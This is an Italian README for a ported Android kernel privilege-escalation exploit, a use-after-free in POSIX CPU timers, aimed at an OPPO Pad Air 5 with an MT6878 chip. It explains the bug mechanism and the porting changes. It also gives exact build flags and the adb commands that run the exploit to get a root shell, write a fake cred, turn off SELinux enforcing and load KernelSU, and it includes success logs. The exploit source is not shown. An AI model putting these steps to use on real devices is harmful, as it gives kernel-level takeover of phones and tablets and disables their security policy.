Exploit LPE per kernel Android per CVE-2026-98260 (UAF del timer CPU POSIX), portato su OPPO Pad Air 5 / MT6878, che ottiene root temporaneo e carica KernelSU.
Usa solo sul tuo dispositivo. Questa è una exploit del kernel; un fallimento può causare panic/riavvio; non eseguirla su dispositivi con dati non salvati. Root temporaneo, scompare dopo un riavvio forzato.
Il branch originale di questo repository adapt-6.1.157-findx7 è destinato a OPPO Find X7 (6.1.157-android14-11-o-ga8ed1c96e9fd). L'albero di lavoro attuale è stato testato con successo su OPPO Pad Air 5 / OPD2501 / MT6878 (6.1.157-android14-11-o-gd9a844c1f21f)....
Questo porting si basa su zjns/CVE-2026-98260 di @zjns (Kofua) e sul branch adapt-6.1.157-findx7.
Si ringrazia inoltre @woshigenm (woshigenm/CVE-2026-98260.
| Voce | Valore |
|---|---|
| Dispositivo | OPPO Pad Air 5 (OPD2501 / OP6541L1) |
| SoC | MediaTek MT6878 (Dimensity 7300 Ultra) |
| Sistema | ColorOS 16 / Android 16 |
| Numero di versione | 16.0.5.1200 |
| Fingerprint | OPPO/OPD2501/OP6541L1:16/BP2A.250605.015/B.25a6186-6e051-c6049:user/release-keys |
| Kernel | 6.1.157-android14-11-o-gd9a844c1f21f |
| SPL | 2026-08-01 |
| Identità iniziale | adb shell, uid 2000, u:r:shell:s0, con readtracefs |
| Gestore KSU | ReSukiSU (com.resukisu.resukisu) |
| Binario di test | timer/timer (build locale, non nel repository) |
Se anche un solo carattere della stringa del kernel è diverso, non applicare direttamente; ricontrolla prima le costanti e l'ordine di begin_new_exec secondo le "Note di porting".
| Capacità | Comando | Risultato |
|---|---|---|
| root con credenziali reali una tantum | timer | uid=0, u:r:shell:s0, ROOT_SHELL_OK |
| shell root interattiva | timer shell | sh con uid=0 (dominio shell) |
| ReSukiSU/KSU | timer fake | KSU_LOADED, su → u:r:ksu:s0, Enforcing |
| LKM | grep kernelsu /proc/modules | kernelsu … Live |
Output del test riuscito (estratto):
[+] plant1 target=5398 etid=5410 zombie code=2 status=9
[+] plant1 free_seen=0 burst hit=1 after 11ms
[+] plant1 write mode=fake target=0xffffff8006b6c078
[+] fake cred A=0xffffff815a996cd8 selinux_state=0xffffffdeea27d0a8
[+] stage selinux target=0xffffffdeea27d0a1 mode=zero attempt=1
[+] cred writes landed, waking child
[ksu] ksud=.../com.resukisu.resukisu.../lib/arm64/libksud.so
version=ksud 4.2.0-rc3-34-g9dbce02e (uapi: 5)
[ksu] late-load rc=0
KSU_LOADED
[!] fake cred page held; reboot to clean -- parking without reap (zombie held)
uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
Enforcing
kernelsu 249856 0 - Live 0x0000000000000000 (OE)
CVE-2026-98260 è una UAF del timer CPU POSIX sul percorso exec: un thread non leader che esegue execve() attiva de_thread(), e il nodo del timer rimane nella coda del vecchio task; se prima del punto di fallimento di begin_new_exec() (unshare_files() / set_mm_exe_file() / exec_mmap() / exec_task_namespaces()) arriva un SIGKILL, exit_itimers() libera prima il k_itimer, e successivamente release_task() esegue rb_erase() su questo nodo già liberato.
CLOCK_THREAD_CPUTIME_ID + execve / de_thread; il processo padre/helper invia SIGKILL durante la finestra di exec_mmap.rb_node.rb_erase() scrive 8 byte all'indirizzo di destinazione.uid/gid), setuid(0) + exec sh → u:r:shell:s0.task->cred a una fake cred nella pagina reclamata (full caps), disattiva SELinux enforcing, poi ksud late-load carica il KSU LKM → u:r:ksu:s0.Nel begin_new_exec() del kernel attuale, la chiamata a posix_cpu_timers_exit() si trova dopo unshare_files/set_mm_exe_file/exec_mmap (0xffffffc0082e6e40), ovvero il percorso di fallimento arriva prima a exit_itimers(), e la sequenza della vulnerabilità è presente.
wait_zombie(): da 0,4s a 4sIl ramo originale era 2000 × 200µs = 0,4s. Su MT6878, prima che killer_fn attenda la scomparsa del TID del thread exec e invii SIGKILL, il processo padre determina no zombie, interrompe lo spray e mantiene il child, facendo sì che 10/10 siano no zombie.
Dopo la modifica a 20000 × 200µs = 4s, il killer colpisce correttamente:
[killer] tid=6046 tgid=6041
[killer] killing tgid=6041
[+] plant1 target=6041 etid=6046 zombie code=2 status=9
[+] plant1 free_seen=1 burst hit=1 after 12ms
status=9 è SIGKILL; free_seen/burst hit indica che la victim page è stata reclaimata. Le due righe di log di killer_fn sono mantenute in timer.c per facilitare la diagnosi.
In write_ksu_script() originariamente c'era me.weishu.kernelsu; sul dispositivo è installato ReSukiSU, quindi è necessario modificarlo in com.resukisu.resukisu, e modificare in modo sincronizzato:
PKG=com.resukisu.resukisufind … '*/com.resukisu.resukisu*/lib/arm64/libksud.so'--package-name com.resukisu.resukisu--kmi android14-6.1 rimane invariato. Se si torna al KernelSU ufficiale, ripristinare questi tre punti a me.weishu.kernelsu.
NDK r28c (28.2.13676358), aarch64 / API 35, esempio:
cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
-fno-stack-protector -fno-pic -I. \
-ffunction-sections -fdata-sections timer.c -o timer \
-Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
-Wl,-z,norelro -pthread
adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer
# 诊断(不触发 UAF)
adb shell /data/local/tmp/timer ids # page_alloc/page_free 事件 id
adb shell /data/local/tmp/timer leak # base/cred/task 泄漏
# 一次性 real cred root(打印 uid/context/ROOT_SHELL_OK 后退出)
adb shell /data/local/tmp/timer
# 交互 root shell(u:r:shell:s0)
adb shell /data/local/tmp/timer shell
# ReSukiSU/KSU(u:r:ksu:s0)
adb shell /data/local/tmp/timer fake
adb shell /system/bin/su -c 'id; getenforce'
adb shell 'grep "^kernelsu " /proc/modules'
Indicatori di successo:
uid=0(root) ... context=u:r:ksu:s0
Enforcing
kernelsu … Live
parked eseguire un riavvio forzato, non eseguirlo ripetutamente nello stesso boot.timer. park_forever() ignora intenzionalmente SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE; SIGKILL attiverà release_task che toccherà il nodo stale, potendo causare direttamente un panic. Il riavvio forzato è l'unica pulizia sicura.timer fake la pagina fake cred verrà mantenuta (held); un riavvio forzato la elimina./data/local/tmp, è necessario ripushare timer.u:r:shell:s0 è ancora il dominio shell; per un root più completo usare u:r:ksu:s0 di KSU.